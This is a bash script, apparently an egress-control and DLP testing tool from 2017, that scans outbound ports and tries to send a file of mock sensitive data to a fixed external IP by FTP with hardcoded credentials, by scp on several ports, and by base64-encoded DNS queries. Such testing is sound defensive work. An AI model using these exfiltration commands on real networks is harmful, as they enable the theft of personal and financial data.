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egression.sh
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#!/bin/bash
## Eggresion : Test a newtwork's egress controls, and give levels of success and failure.
## by Daniel Miessler
## July 2017
echo ""
echo "Egression : Test a network's egress controls and give levels of of success and failure."
echo "by Daniel Miessler"
echo "July 2017"
cat << "EOF"
`my
yd.
-h:
-+ .` +`
`d. + -- sy
-- +:`/ :d`
.- `. / : -`/.
+ + :.-/ -`:s
/` /`.: - .: -`
`.....` `......`........ -- .....:- +.o-..... o.//....`... `..` `..` ...
`omMMMMMMs .yNMMMMMMM-dMMMMMMMMs` /hMMMMMMM`oNMMMMMMMM.:mMMMMMMMM:hMd +dMMMMNy- :MMN+ yMm
.NMd/-.... :MMs-`..... dMh`...+MM:sMMo-....` NMh.....`` dMd-....`` hMd hMm/.`-sMM::MMMMd- yMm
+MMMMMMMMd yMm +MMMM-dMh+MMMMNs`NMMMMMMMM- /mMMMMMMm/ -dMMMMMMmo hMd.MM/ mMy:MMomMMyhMm
.NMm/-.... :MMs. ./MM-dMh/mMN+ sMMs-....` `....yMM` `....oMM-hMd dMm:` .sMM/:MM-`oMMMMm
`sNMMMMMMs -yNMMMMMMM-dMh -sNMd: /dMMMMMMM`MMMMMMMMNo mMMMMMMMMs hMd +mMMMMNh- :MM- .hMMm
.-----. .------`.-.`/ /--- `.---o- -------o -------+- .-. `--. `--` .-.
+ `- -- -` `/
:. `/ +
EOF
[ -e ./results.txt ] && rm -rf ./results.txt
#rm -rf ./results.txt
echo ""
echo ""
echo "$(tput setaf 3)== EGRESSION WILL NOW TEST THIS NETWORK'S EGRESS CONTROLS VS. BOTH CONNECTIONS AND SENSITIVE FILE UPLOADS (DLP). ==$(tput sgr 0)"
echo " "
sleep 1
read -n 1 -s -r -p "Press the ANY key to continue."
echo ""
echo ""
echo "======================================================================================"
echo "$(tput setaf 1)EGRESSION INFORMATIONAL :: $(tput setaf 2)PORT CONNECTIONS$(tput sgr 0)"
echo "======================================================================================"
echo ""
echo "$(tput setaf 3)== THESE ARE THE PORTS EGRESSION CAN CONNECT TO FROM THIS NETWORK TO THE INTERNET. ==$(tput sgr 0)"
echo ""
nc -z -v -w3 54.89.49.208 23 2> /dev/null
if [ $? -eq 0 ]
then
echo "CONNECTION SUCCESSFUL :: $(tput setaf 2)23 (TELNET)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)" >&2
echo "INFORMATIONAL : It's possible to connect outbound on at least one major port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "PORT :: $(tput setaf 2)23 (TELNET)-- $(tput setaf 4)PASSED$(tput sgr 0)" >&2
fi
sleep 1
nc -z -v -w3 54.89.49.208 22 2> /dev/null
if [ $? -eq 0 ]
then
echo "CONNECTION SUCCESSFUL :: $(tput setaf 2)22 (SSH)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)" >&2
echo "INFORMATIONAL : It's possible to connect outbound on at least one major port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "PORT :: $(tput setaf 2)22 (SSH)-- $(tput setaf 4)PASSED$(tput sgr 0)" >&2
fi
sleep 1
nc -z -v -w3 54.89.49.208 80 2> /dev/null
if [ $? -eq 0 ]
then
echo "CONNECTION SUCCESSFUL :: $(tput setaf 2)80 (HTTP)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)" >&2
echo "INFORMATIONAL : It's possible to connect outbound on at least one major port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "PORT :: $(tput setaf 2)80 (HTTP)-- $(tput setaf 4)PASSED$(tput sgr 0)" >&2
fi
sleep 1
nc -z -v -w3 54.89.49.208 443 2> /dev/null
if [ $? -eq 0 ]
then
echo "CONNECTION SUCCESSFUL :: $(tput setaf 2)443 (HTTPS)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)" >&2
echo "INFORMATIONAL : It's possible to connect outbound on at least one major port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "PORT :: $(tput setaf 2)443 (HTTPS)-- $(tput setaf 4)PASSED$(tput sgr 0)" >&2
fi
sleep 1
nc -z -v -w3 54.89.49.208 3389 2> /dev/null
if [ $? -eq 0 ]
then
echo "CONNECTION SUCCESSFUL :: $(tput setaf 2)3389 (REMOTE DESKTOP)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)" >&2
echo "INFORMATIONAL : It's possible to connect outbound on at least one major port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "PORT :: $(tput setaf 2)3389 (REMOTE DESKTOP)-- $(tput setaf 4)PASSED$(tput sgr 0)" >&2
fi
sleep 1
nc -z -v -w3 54.89.49.208 5900 2> /dev/null
if [ $? -eq 0 ]
then
echo "CONNECTION SUCCESSFUL :: $(tput setaf 2)5900 (VNC)-- $(tput setaf 1)CHECK FAILED$(tput sgr 0)" >&2
echo "INFORMATIONAL : It's possible to connect outbound on at least one major port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "PORT :: $(tput setaf 2)5900 (VNC)-- $(tput setaf 4)PASSED$(tput sgr 0)" >&2
fi
echo " "
echo "=============================================================================="
echo "$(tput setaf 1)EGRESSION Level 0 :: $(tput setaf 2)FTP File Upload$(tput sgr 0)"
echo "=============================================================================="
echo ""
echo "$(tput setaf 3)== IT'S ONE THING TO BE ABLE TO CONNECT TO PORTS. NOW LET'S SEE IF WE CAN UPLOAD FILES. ==$(tput sgr 0)"
echo ""
echo "$(tput setaf 3)== WE HAVE LOCALLY A PLAINTEXT FILE FULL OF JUICY DETAILS, SUCH AS SOCIAL SECURITY NUMBERS, NATIONAL ID NUMBERS, CREDIT CARDS, DATES OF BIRTH, ETC. ==$(tput sgr 0)"
echo ""
echo "$(tput setaf 3)== WE WILL NOW ATTEMPT TO UPLOAD THIS FILE TO THE INTERNET, VIA CLEARTEXT FTP, TO SEE IF THIS NETWORK ALLOWS IT.$(tput sgr 0) =="
sleep 1
read -n 1 -s -r -p "Press the ANY key to continue."
echo ""
echo ""
curl -sT ./sensitive.docx ftp://54.89.49.208 --user egression:EgressionPWD123!
if [ $? -eq 0 ]
then
echo "FILE UPLOAD SUCCESSFUL :: $(tput setaf 2)21 (FTP)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)"
echo "LEVEL 0 FAILURE: It's possible to upload an unencrypted sensitive file from your network without using encryption." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "FILE UPLOAD FAILED :: $(tput setaf 2)21 (FTP)-- $(tput setaf 7)PASSED $(tput sgr 0)"
fi
echo " "
echo "=============================================================================="
echo "$(tput setaf 1)EGRESSION Level 1 :: $(tput setaf 2)SSH File Upload$(tput sgr 0)"
echo "=============================================================================="
echo ""
echo "$(tput setaf 3)== WE WILL NOW ATTEMPT TO UPLOAD THE SAME FILE USING SCP OVER VARIOUS PORTS.$(tput sgr 0) =="
echo ""
sleep 1
read -n 1 -s -r -p "Press the ANY key to continue."
echo ""
# SSH Over Port 23
scp -P 23 -i ./key sensitive.docx egression@54.89.49.208:~ 2> /dev/null >&2
if [ $? -eq 0 ]
then
echo "SSH FILE UPLOAD SUCCESSFUL :: $(tput setaf 2)23 (TELNET)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)"
echo "LEVEL 1 FAILURE: It's possible to upload a sensitive file from your network using SSH over at least one port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "SSH FILE UPLOAD FAILED :: $(tput setaf 2)23 (TELNET)-- $(tput setaf 7)PASSED $(tput sgr 0)"
fi
# SSH Over Port 80
scp -P 80 -i ./key sensitive.docx egression@54.89.49.208:~ 2> /dev/null >&2
if [ $? -eq 0 ]
then
echo "SSH FILE UPLOAD SUCCESSFUL :: $(tput setaf 2)80 (HTTP)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)"
echo "LEVEL 1 FAILURE: It's possible to upload a sensitive file from your network using SSH over at least one port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "SSH FILE UPLOAD FAILED :: $(tput setaf 2)80 (HTTP)-- $(tput setaf 7)PASSED $(tput sgr 0)"
fi
# SSH Over Port 443
scp -P 443 -i ./key sensitive.docx egression@54.89.49.208:~ 2> /dev/null >&2
if [ $? -eq 0 ]
then
echo "SSH FILE UPLOAD SUCCESSFUL :: $(tput setaf 2)443 (HTTPS)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)"
echo "LEVEL 1 FAILURE: It's possible to upload a sensitive file from your network using SSH over at least one port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "SSH FILE UPLOAD FAILED :: $(tput setaf 2)443 (HTTPS)-- $(tput setaf 7)PASSED $(tput sgr 0)"
fi
# SSH Over Port 3389
scp -P 3389 -i ./key sensitive.docx egression@54.89.49.208:~ 2> /dev/null >&2
if [ $? -eq 0 ]
then
echo "SSH FILE UPLOAD SUCCESSFUL :: $(tput setaf 2)3389 (REMOTE DESKTOP)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)"
echo "LEVEL 1 FAILURE: It's possible to upload a sensitive file from your network using SSH over at least one port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "SSH FILE UPLOAD FAILED :: $(tput setaf 2)3389 (REMOTE DESKTOP)-- $(tput setaf 7)PASSED $(tput sgr 0)"
fi
# SSH Over Port 5900
scp -P 5900 -i ./key sensitive.docx egression@54.89.49.208:~ 2> /dev/null >&2
if [ $? -eq 0 ]
then
echo "SSH FILE UPLOAD SUCCESSFUL :: $(tput setaf 2)5900 (VNC)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)"
echo "LEVEL 1 FAILURE: It's possible to upload a sensitive file from your network using SSH over at least one port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "SSH FILE UPLOAD FAILED :: $(tput setaf 2)5900 (VNC)-- $(tput setaf 7)PASSED $(tput sgr 0)"
fi
# SSH Over Port 65211
scp -P 65211 -i ./key sensitive.docx egression@54.89.49.208:~ 2> /dev/null >&2
if [ $? -eq 0 ]
then
echo "SSH FILE UPLOAD SUCCESSFUL :: $(tput setaf 2)65211 (ARBITRARY HIGH PORT)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)"
echo "LEVEL 1 FAILURE: It's possible to upload a sensitive file from your network using SSH over at least one port." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "SSH FILE UPLOAD FAILED :: $(tput setaf 2)5900 (ARBITRARY HIGH PORT)-- $(tput setaf 7)PASSED $(tput sgr 0)"
fi
echo ""
echo ""
echo "=============================================================================="
echo "$(tput setaf 1)EGRESSION Level 2 :: $(tput setaf 2)DNS File Uploads$(tput sgr 0)"
echo "=============================================================================="
echo ""
echo "$(tput setaf 3)== WE WILL NOW ATTEMPT TO UPLOAD THE SAME FILE USING DNS REQUESTS.$(tput sgr 0) =="
echo ""
sleep 1
echo ""
read -n 1 -s -r -p "Press the ANY key to continue."
echo ""
echo ""
while read LINE
do
encoded=$(echo -n $LINE | openssl base64) >& /dev/null
dig @54.89.49.208 $encoded >& /dev/null
done < ./sensitive.docx
echo ""
if [ $? -eq 0 ]
then
echo "DNS UPLOAD SUCCESSFUL :: $(tput setaf 2)53 (DNS UDP)-- $(tput setaf 1)CHECK FAILED $(tput sgr 0)"
echo "LEVEL 2 FAILURE: It's possible to upload a file from your network using DNS requests." >> results.txt
echo "RECOMMENDATION :: Work on making it far harder to upload sensitive content out of the network." >> results.txt
else
echo "FILE UPLOAD FAILED :: $(tput setaf 2)53 (DNS UDP)-- $(tput setaf 7)PASSED $(tput sgr 0)"
fi
echo ""
echo "$(tput setaf 3)== WE WILL NOW DISPLAY THE RESULTS OF THE TESTING.$(tput sgr 0) =="
echo ""
read -n 1 -s -r -p "Press the ANY key to continue."
echo ""
echo ""
echo ""
echo "$(tput setaf 1)#########################################################################"
echo "################################ RESULTS ################################"
echo "#########################################################################"
echo ""
echo ""
cat results.txt | sort -u
echo ""
echo ""